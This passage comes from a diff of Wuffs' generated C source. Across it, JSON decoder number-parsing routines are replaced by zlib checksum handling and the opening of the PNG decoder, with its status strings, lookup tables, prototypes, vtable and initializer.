wuffs_base__make_status(wuffs_zlib__note__dictionary_required); ++ goto ok; ++ } else if (self->private_impl.f_got_dictionary) { ++ status = wuffs_base__make_status(wuffs_zlib__error__incorrect_dictionary); + goto exit; + } +- if (v_depth == 0u) { +- break; ++ } else if (self->private_impl.f_dict_id_have != self->private_impl.f_dict_id_want) { ++ if (self->private_impl.f_got_dictionary) { ++ status = wuffs_base__make_status(wuffs_zlib__error__incorrect_dictionary); ++ goto exit; + } +- v_expect = v_expect_after_value; ++ status = wuffs_base__make_status(wuffs_zlib__note__dictionary_required); ++ goto ok; + } +- label__outer__break:; +- if (self->private_impl.f_quirks[17u] || self->private_impl.f_quirks[18u]) { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ self->private_impl.f_header_complete = true; ++ while (true) { ++ v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_deflate__decoder__transform_io(&self->private_data.f_flate, a_dst, a_src, a_workbuf); ++ v_status = t_2; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } + } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if ( ! self->private_impl.f_ignore_checksum && ! self->private_impl.f_quirks[0u]) { ++ v_checksum_have = wuffs_adler32__hasher__update_u32(&self->private_data.f_checksum, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); +- status = wuffs_json__decoder__decode_trailer(self, a_dst, a_src); +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; + } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ } ++ if ( ! self->private_impl.f_quirks[0u]) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)); ++ } ++ } ++ v_checksum_want = t_3; + } +- if (status.repr) { +- goto suspend; ++ if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != v_checksum_want)) { ++ status = wuffs_base__make_status(wuffs_zlib__error__bad_checksum); ++ goto exit; + } + } +- self->private_impl.f_end_of_data = true; + +- ok: +- self->private_impl.p_decode_tokens[0] = 0; +- goto exit; +- } ++ ok: ++ self->private_impl.p_do_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_transform_io.v_checksum_have = v_checksum_have; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_png__error__bad_animation_sequence_number[] = "#png: bad animation sequence number"; ++const char wuffs_png__error__bad_checksum[] = "#png: bad checksum"; ++const char wuffs_png__error__bad_chunk[] = "#png: bad chunk"; ++const char wuffs_png__error__bad_filter[] = "#png: bad filter"; ++const char wuffs_png__error__bad_header[] = "#png: bad header"; ++const char wuffs_png__error__bad_text_chunk_not_latin_1[] = "#png: bad text chunk (not Latin-1)"; ++const char wuffs_png__error__missing_palette[] = "#png: missing palette"; ++const char wuffs_png__error__truncated_input[] = "#png: truncated input"; ++const char wuffs_png__error__unsupported_cgbi_extension[] = "#png: unsupported CgBI extension"; ++const char wuffs_png__error__unsupported_png_compression_method[] = "#png: unsupported PNG compression method"; ++const char wuffs_png__error__unsupported_png_file[] = "#png: unsupported PNG file"; ++const char wuffs_png__error__internal_error_inconsistent_i_o[] = "#png: internal error: inconsistent I/O"; ++const char wuffs_png__error__internal_error_inconsistent_chunk_type[] = "#png: internal error: inconsistent chunk type"; ++const char wuffs_png__error__internal_error_inconsistent_workbuf_length[] = "#png: internal error: inconsistent workbuf length"; ++const char wuffs_png__error__internal_error_zlib_decoder_did_not_exhaust_its_input[] = "#png: internal error: zlib decoder did not exhaust its input"; ++ ++// ---------------- Private Consts ++ ++#define WUFFS_PNG__ANCILLARY_BIT 32u ++ ++static const uint8_t ++WUFFS_PNG__INTERLACING[8][6] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ { ++ 0u, 0u, 0u, 0u, 0u, 0u, ++ }, { ++ 3u, 7u, 0u, 3u, 7u, 0u, ++ }, { ++ 3u, 3u, 4u, 3u, 7u, 0u, ++ }, { ++ 2u, 3u, 0u, 3u, 3u, 4u, ++ }, { ++ 2u, 1u, 2u, 2u, 3u, 0u, ++ }, { ++ 1u, 1u, 0u, 2u, 1u, 2u, ++ }, { ++ 1u, 0u, 1u, 1u, 1u, 0u, ++ }, { ++ 0u, 0u, 0u, 1u, 0u, 1u, ++ }, ++}; ++ ++static const uint8_t ++WUFFS_PNG__LOW_BIT_DEPTH_MULTIPLIERS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 255u, 85u, 0u, 17u, 0u, 0u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_PNG__LOW_BIT_DEPTH_NUM_PACKS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 8u, 4u, 0u, 2u, 0u, 0u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_PNG__NUM_CHANNELS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1u, 0u, 3u, 1u, 2u, 0u, 4u, 0u, ++}; ++ ++static const uint16_t ++WUFFS_PNG__LATIN_1[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 32u, 33u, 34u, 35u, 36u, 37u, 38u, 39u, ++ 40u, 41u, 42u, 43u, 44u, 45u, 46u, 47u, ++ 48u, 49u, 50u, 51u, 52u, 53u, 54u, 55u, ++ 56u, 57u, 58u, 59u, 60u, 61u, 62u, 63u, ++ 64u, 65u, 66u, 67u, 68u, 69u, 70u, 71u, ++ 72u, 73u, 74u, 75u, 76u, 77u, 78u, 79u, ++ 80u, 81u, 82u, 83u, 84u, 85u, 86u, 87u, ++ 88u, 89u, 90u, 91u, 92u, 93u, 94u, 95u, ++ 96u, 97u, 98u, 99u, 100u, 101u, 102u, 103u, ++ 104u, 105u, 106u, 107u, 108u, 109u, 110u, 111u, ++ 112u, 113u, 114u, 115u, 116u, 117u, 118u, 119u, ++ 120u, 121u, 122u, 123u, 124u, 125u, 126u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 41410u, 41666u, 41922u, 42178u, 42434u, 42690u, 42946u, ++ 43202u, 43458u, 43714u, 43970u, 44226u, 44482u, 44738u, 44994u, ++ 45250u, 45506u, 45762u, 46018u, 46274u, 46530u, 46786u, 47042u, ++ 47298u, 47554u, 47810u, 48066u, 48322u, 48578u, 48834u, 49090u, ++ 32963u, 33219u, 33475u, 33731u, 33987u, 34243u, 34499u, 34755u, ++ 35011u, 35267u, 35523u, 35779u, 36035u, 36291u, 36547u, 36803u, ++ 37059u, 37315u, 37571u, 37827u, 38083u, 38339u, 38595u, 38851u, ++ 39107u, 39363u, 39619u, 39875u, 40131u, 40387u, 40643u, 40899u, ++ 41155u, 41411u, 41667u, 41923u, 42179u, 42435u, 42691u, 42947u, ++ 43203u, 43459u, 43715u, 43971u, 44227u, 44483u, 44739u, 44995u, ++ 45251u, 45507u, 45763u, 46019u, 46275u, 46531u, 46787u, 47043u, ++ 47299u, 47555u, 47811u, 48067u, 48323u, 48579u, 48835u, 49091u, ++}; ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_4_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3_distance_4_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_3_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_4_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_3_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_4_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_2( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +- goto suspend; +- suspend: +- self->private_impl.p_decode_tokens[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; +- self->private_data.s_decode_tokens[0].v_depth = v_depth; +- self->private_data.s_decode_tokens[0].v_expect = v_expect; +- self->private_data.s_decode_tokens[0].v_expect_after_value = v_expect_after_value; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3_distance_3_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +-// -------- func json.decoder.decode_number ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3_distance_4_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + + WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_json__decoder__decode_number( +- wuffs_json__decoder* self, +- wuffs_base__io_buffer* a_src) { +- uint8_t v_c = 0; +- uint32_t v_n = 0; +- uint32_t v_floating_point = 0; ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +- do { +- v_n = 0u; +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if ( ! (a_src && a_src->meta.closed)) { +- v_n |= 768u; +- } +- break; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (v_c != 45u) { +- } else { +- v_n += 1u; +- iop_a_src += 1u; +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if ( ! (a_src && a_src->meta.closed)) { +- v_n |= 768u; +- } +- v_n |= 256u; +- break; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- } +- if (v_c == 48u) { +- v_n += 1u; +- iop_a_src += 1u; +- } else { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (v_n > 99u) { +- break; +- } +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if ( ! (a_src && a_src->meta.closed)) { +- v_n |= 768u; +- } +- break; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (v_c != 46u) { +- } else { +- if (v_n >= 99u) { +- v_n |= 512u; +- break; +- } +- v_n += 1u; +- iop_a_src += 1u; +- v_floating_point = 128u; +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (v_n > 99u) { +- break; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if ( ! (a_src && a_src->meta.closed)) { +- v_n |= 768u; +- } +- break; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- } +- if ((v_c != 69u) && (v_c != 101u)) { +- break; +- } +- if (v_n >= 99u) { +- v_n |= 512u; +- break; +- } +- v_n += 1u; +- iop_a_src += 1u; +- v_floating_point = 128u; +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if ( ! (a_src && a_src->meta.closed)) { +- v_n |= 768u; +- } +- v_n |= 256u; +- break; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if ((v_c != 43u) && (v_c != 45u)) { +- } else { +- if (v_n >= 99u) { +- v_n |= 512u; +- break; +- } +- v_n += 1u; +- iop_a_src += 1u; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } while (0); +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- return (v_n | v_floating_point); +-} ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_3_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +-// -------- func json.decoder.decode_digits ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_4_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_json__decoder__decode_digits( +- wuffs_json__decoder* self, ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_4_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3_distance_4_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_3_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_4_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__do_decode_image_config( ++ wuffs_png__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_ihdr( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__assign_filter_distance( ++ wuffs_png__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint64_t ++wuffs_png__decoder__calculate_bytes_per_row( ++ const wuffs_png__decoder* self, ++ uint32_t a_width); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__choose_filter_implementations( ++ wuffs_png__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_other_chunk( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src, +- uint32_t a_n) { +- uint8_t v_c = 0; +- uint32_t v_n = 0; ++ bool a_framy); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_actl( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_chrm( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_exif( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_fctl( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_gama( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_iccp( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_plte( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_srgb( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_trns( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__do_decode_frame_config( ++ wuffs_png__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__skip_frame( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__do_decode_frame( ++ wuffs_png__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_pass( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__do_tell_me_more( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__filter_and_swizzle( ++ wuffs_png__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__filter_and_swizzle__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__filter_and_swizzle_tricky( ++ wuffs_png__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_png__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_png__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_png__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_png__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_png__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_png__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_png__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_png__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_png__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_png__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_png__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_png__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_png__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_png__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_png__decoder__initialize( ++ wuffs_png__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); + } + +- v_n = a_n; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if ( ! (a_src && a_src->meta.closed)) { +- v_n |= 768u; +- } +- break; ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); + } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (0u == WUFFS_JSON__LUT_DECIMAL_DIGITS[v_c]) { +- break; ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } +- 